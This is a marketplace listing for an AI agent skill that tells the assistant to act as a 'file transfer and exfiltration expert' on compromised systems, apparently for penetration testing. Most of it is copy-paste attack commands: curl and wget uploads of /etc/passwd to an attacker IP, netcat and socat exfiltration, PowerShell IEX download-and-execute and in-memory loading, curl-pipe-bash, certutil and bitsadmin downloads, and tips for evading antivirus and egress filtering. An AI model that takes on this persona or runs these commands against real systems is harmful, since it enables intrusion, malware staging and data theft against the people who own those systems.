# Transferring Files

> Transfer files between systems using HTTP, SMB, FTP, netcat, base64 encoding, and living-off-the-land techniques for both Linux and Windows. Use when moving tools or exfiltrating data.

- Skill: `trilwu/transferring-files` (Agent Skill, multi-file: 2 files)
- Install (CLI): `npx skillmds add trilwu/transferring-files`
- Raw SKILL.md: https://api.skillmd.com/api/skills/trilwu/transferring-files/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Coding & Dev Tools
- Author: trilwu (https://skillmd.com/u/trilwu)
- Updated: 2026-09-10
- Page: https://skillmd.com/skills/trilwu/transferring-files

---


# File Transfer Techniques Skill

You are a file transfer and exfiltration expert. Use this skill when the user requests help with:

- Transferring files between systems
- Data exfiltration techniques
- Living-off-the-land file transfer methods
- Cross-platform file operations
- Encoding and obfuscation
- Bypassing egress filtering
- Establishing file servers

## When to Use

Activate this skill when the user asks to:
- Transfer files between systems
- Download files to compromised systems
- Exfiltrate data from targets
- Set up file servers for attacks
- Bypass egress filtering
- Use living-off-the-land techniques
- Encode or obfuscate file transfers
- Help with data staging

## When NOT to Use

- **Before you have code execution** — use the relevant initial access skill
- **Exfiltrating real customer data** — outside authorized scope; demonstrate
  the channel, not the data
- **Detecting exfiltration as a defender** — use `hunting-threats`

## Core Methodologies

### 1. Linux File Download

**wget:**
```bash
# Basic download
wget http://10.10.10.10/file.txt

# Save with different name
wget http://10.10.10.10/file.txt -O output.txt

# Recursive download
wget -r http://10.10.10.10/directory/

# Download in background
wget -b http://10.10.10.10/largefile.zip
```

**curl:**
```bash
# Basic download
curl http://10.10.10.10/file.txt -o file.txt
curl -O http://10.10.10.10/file.txt  # Keep original name

# Follow redirects
curl -L http://10.10.10.10/file.txt -o file.txt

# Download with auth
curl -u user:password http://10.10.10.10/file.txt -o file.txt

# Download multiple files
curl -O http://10.10.10.10/file[1-10].txt
```

**Netcat:**
```bash
# Receiver
nc -lvnp 4444 > file.txt

# Sender
nc 10.10.10.10 4444 < file.txt

# With progress (use pv)
nc -lvnp 4444 | pv > file.txt
pv file.txt | nc 10.10.10.10 4444
```

**Base64 Encoding (for copy-paste):**
```bash
# Encode on attacker machine
base64 file.txt > file.b64
cat file.b64  # Copy this

# Decode on target
echo "BASE64_STRING_HERE" | base64 -d > file.txt

# Or in one command
echo "BASE64STRING" | base64 -d > file.txt
```

**Python HTTP Server (for hosting files):**
```bash
# Python 3
python3 -m http.server 8000

# Python 2
python -m SimpleHTTPServer 8000

# Ruby
ruby -run -e httpd . -p 8000

# PHP
php -S 0.0.0.0:8000
```

### 2. Windows File Download

**PowerShell:**
```powershell
# Invoke-WebRequest (PS 3.0+)
Invoke-WebRequest -Uri "http://10.10.10.10/file.exe" -OutFile "C:\Temp\file.exe"
iwr -Uri "http://10.10.10.10/file.exe" -OutFile "C:\Temp\file.exe"

# DownloadFile
(New-Object Net.WebClient).DownloadFile("http://10.10.10.10/file.exe", "C:\Temp\file.exe")

# DownloadString (download and execute)
IEX(New-Object Net.WebClient).DownloadString('http://10.10.10.10/script.ps1')

# Download and execute in memory
$data = (New-Object Net.WebClient).DownloadData('http://10.10.10.10/payload.exe')
$assem = [System.Reflection.Assembly]::Load($data)
```

**certutil:**
```cmd
# Download file
certutil.exe -urlcache -split -f "http://10.10.10.10/file.exe" file.exe

# Alternative syntax
certutil -urlcache -f "http://10.10.10.10/file.exe" file.exe

# Clean cache
certutil.exe -urlcache * delete
```

**bitsadmin:**
```cmd
# Download file
bitsadmin /transfer job /download /priority high http://10.10.10.10/file.exe C:\Temp\file.exe

# Verify and complete
bitsadmin /complete job
```

**cmd.exe (VBS script):** when PowerShell/certutil/bitsadmin are unavailable,
build a WinHTTP downloader from `cmd.exe`. See
[references/command-catalogs.md](references/command-catalogs.md#windows-cmdexe-vbs-downloader).

### 3. Linux File Upload/Exfiltration

**HTTP POST:**
```bash
# curl
curl -X POST -F "file=@/etc/passwd" http://10.10.10.10:8000/upload

# With auth
curl -X POST -F "file=@file.txt" http://10.10.10.10:8000/upload -u user:pass

# wget
wget --post-file=/etc/passwd http://10.10.10.10:8000/upload
```

**SCP (if SSH available):**
```bash
# Upload
scp file.txt user@10.10.10.10:/tmp/

# Download
scp user@10.10.10.10:/tmp/file.txt ./

# Recursive
scp -r directory/ user@10.10.10.10:/tmp/

# With key
scp -i id_rsa file.txt user@10.10.10.10:/tmp/
```

**Netcat:**
```bash
# Receiver (attacker)
nc -lvnp 4444 > received_file.txt

# Sender (target)
nc 10.10.10.10 4444 < file.txt
```

**Socat:**
```bash
# Receiver
socat TCP4-LISTEN:4444,fork file:received.txt

# Sender
socat TCP4:10.10.10.10:4444 file:file.txt
```

**Covert channels (DNS / ICMP):** when normal egress is filtered, tunnel data
out over DNS queries or ICMP packets. See
[references/command-catalogs.md](references/command-catalogs.md#dns-exfiltration).

### 4. Windows File Upload

**PowerShell:**
```powershell
# Upload via HTTP POST
$file = Get-Content "C:\Temp\file.txt" -Raw
Invoke-RestMethod -Uri "http://10.10.10.10:8000/upload" -Method Post -Body $file

# Upload file object
$fileBytes = [System.IO.File]::ReadAllBytes("C:\Temp\file.exe")
Invoke-RestMethod -Uri "http://10.10.10.10:8000/upload" -Method Post -Body $fileBytes
```

**SMB:**
```cmd
# Copy to SMB share
copy C:\Temp\file.txt \\10.10.10.10\share\

# Map drive first
net use Z: \\10.10.10.10\share
copy C:\Temp\file.txt Z:\
```

**FTP:**
```cmd
# Create FTP script
echo open 10.10.10.10 > ftp.txt
echo user username password >> ftp.txt
echo binary >> ftp.txt
echo put file.exe >> ftp.txt
echo bye >> ftp.txt

# Execute
ftp -s:ftp.txt
```

### 5. SMB File Transfer

**Linux to Windows:**
```bash
# Mount SMB share on Linux
smbclient //10.10.10.10/share -U username
# In smbclient:
put local_file.txt
get remote_file.txt

# Mount and copy
mount -t cifs //10.10.10.10/share /mnt/smb -o username=user,password=pass
cp file.txt /mnt/smb/
```

**Windows to Linux:**
```bash
# Start Samba server on Linux
sudo smbserver.py share /tmp/share -smb2support

# From Windows
copy C:\file.txt \\10.10.10.10\share\
```

**Impacket smbserver:**
```bash
# On attacker (Linux)
sudo impacket-smbserver share /tmp/share -smb2support
sudo impacket-smbserver share /tmp/share -smb2support -username user -password pass

# On target (Windows)
# No auth
copy file.txt \\10.10.10.10\share\
\\10.10.10.10\share\file.exe

# With auth
net use \\10.10.10.10\share /user:user pass
copy file.txt \\10.10.10.10\share\
```

### 6. FTP File Transfer

**Linux FTP Server:**
```bash
# Python pyftpdlib
sudo python3 -m pyftpdlib -p 21 -w

# vsftpd (if installed)
sudo service vsftpd start
```

**Windows FTP Client:**
```cmd
# Interactive
ftp 10.10.10.10

# Scripted
echo open 10.10.10.10 21 > ftp.txt
echo USER username >> ftp.txt
echo password >> ftp.txt
echo binary >> ftp.txt
echo GET file.exe >> ftp.txt
echo bye >> ftp.txt
ftp -s:ftp.txt
```

### 7. Living Off The Land (LOLBAS/GTFOBins)

Prefer signed, native binaries (certutil, mshta, regsvr32, rundll32 on Windows;
GTFOBins entries on Linux) to blend in and evade allowlisting. Full command
catalog: [references/command-catalogs.md](references/command-catalogs.md#living-off-the-land-lolbasgtfobins).

### 8. Database Exfiltration

When you hold DB access, read/write the host filesystem or reach command
execution through the engine itself (MySQL `INTO OUTFILE`/`LOAD_FILE`, MSSQL
`xp_cmdshell`, PostgreSQL `COPY ... TO/FROM PROGRAM`). Per-engine SQL:
[references/command-catalogs.md](references/command-catalogs.md#database-exfiltration).

### 9. Encoding/Obfuscation

Encode before transfer to survive lossy channels and evade content inspection:
base64 for copy-paste, hex for binary-safe transport, gzip/tar to compress and
bundle. Command catalog:
[references/command-catalogs.md](references/command-catalogs.md#encoding--obfuscation).

### 10. Persistence and Staging

**Download and Execute:**
```bash
# Linux
wget http://10.10.10.10/script.sh -O /tmp/script.sh && chmod +x /tmp/script.sh && /tmp/script.sh

# One-liner
curl http://10.10.10.10/script.sh | bash

# PowerShell
powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://10.10.10.10/script.ps1')"
```

**In-Memory Execution:**
```powershell
# PowerShell - never touches disk
$code = (New-Object Net.WebClient).DownloadString('http://10.10.10.10/script.ps1')
IEX $code

# Reflective DLL loading
$bytes = (New-Object Net.WebClient).DownloadData('http://10.10.10.10/payload.dll')
[System.Reflection.Assembly]::Load($bytes)
```

## Quick Reference Commands

**Start HTTP Server (Attacker):**
```bash
python3 -m http.server 8000
sudo python3 -m http.server 80
```

**Start SMB Server (Attacker):**
```bash
sudo impacket-smbserver share /tmp/share -smb2support
```

**Download on Target (Linux):**
```bash
wget http://10.10.10.10:8000/file
curl http://10.10.10.10:8000/file -o file
```

**Download on Target (Windows):**
```cmd
certutil -urlcache -f http://10.10.10.10:8000/file.exe file.exe
powershell -c "(New-Object Net.WebClient).DownloadFile('http://10.10.10.10:8000/file.exe','file.exe')"
```

**Upload from Target:**
```bash
# Linux
curl -X POST -F "file=@file.txt" http://10.10.10.10:8000/
nc 10.10.10.10 4444 < file.txt

# Windows
copy file.txt \\10.10.10.10\share\
```

## Troubleshooting

**Firewall Blocking:**
- Try alternative ports (80, 443, 53)
- Use DNS/ICMP exfiltration
- Encode data and use allowed protocols

**AV Detection:**
- Encode/obfuscate payloads
- Use in-memory execution
- Split file into chunks
- Use legitimate tools (LOLBAS)

**No Internet Access:**
- Use local file shares (SMB, NFS)
- Use removable media if physical access
- Use database OUT FILE if database access
- Use local services (FTP, HTTP on internal network)

## Reference Links

- LOLBAS Project: https://lolbas-project.github.io/
- GTFOBins: https://gtfobins.github.io/
- HackTricks File Transfer: https://book.hacktricks.xyz/generic-methodologies-and-resources/exfiltration
- PayloadsAllTheThings: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/File%20Transfer.md

## References

- [references/command-catalogs.md](references/command-catalogs.md) — full
  copy-paste command dumps for the Windows VBS downloader, DNS/ICMP covert
  channels, LOLBAS/GTFOBins, database exfiltration, and encoding/obfuscation.

<!-- attack:start -->

## ATT&CK Coverage

_Generated from `secskills-core/ttp-index.json` — edit that file, then run
`python3 scripts/sync_attack.py --write`. Re-verify IDs against the
current ATT&CK release before citing them in a report._

**Resource Development** (TA0042)

- [T1608](https://attack.mitre.org/techniques/T1608/) Stage Capabilities — see also `performing-social-engineering`

**Lateral Movement** (TA0008)

- [T1570](https://attack.mitre.org/techniques/T1570/) Lateral Tool Transfer

**Collection** (TA0009)

- [T1005](https://attack.mitre.org/techniques/T1005/) Data from Local System
- [T1074](https://attack.mitre.org/techniques/T1074/) Data Staged — see also `hunting-threats`
- [T1560](https://attack.mitre.org/techniques/T1560/) Archive Collected Data — see also `hunting-threats`

**Command and Control** (TA0011)

- [T1090](https://attack.mitre.org/techniques/T1090/) Proxy
- [T1105](https://attack.mitre.org/techniques/T1105/) Ingress Tool Transfer
- [T1132](https://attack.mitre.org/techniques/T1132/) Data Encoding — see also `analyzing-malware`, `analyzing-network-traffic`
- [T1572](https://attack.mitre.org/techniques/T1572/) Protocol Tunneling — see also `hunting-threats`

**Exfiltration** (TA0010)

- [T1041](https://attack.mitre.org/techniques/T1041/) Exfiltration Over C2 Channel
- [T1048](https://attack.mitre.org/techniques/T1048/) Exfiltration Over Alternative Protocol — see also `hunting-threats`, `analyzing-network-traffic`
- [T1567](https://attack.mitre.org/techniques/T1567/) Exfiltration Over Web Service — see also `hunting-threats`

Detection content for any of these: `engineering-detections`. Proactive search: `hunting-threats`. Post-compromise: `responding-to-incidents`.

<!-- attack:end -->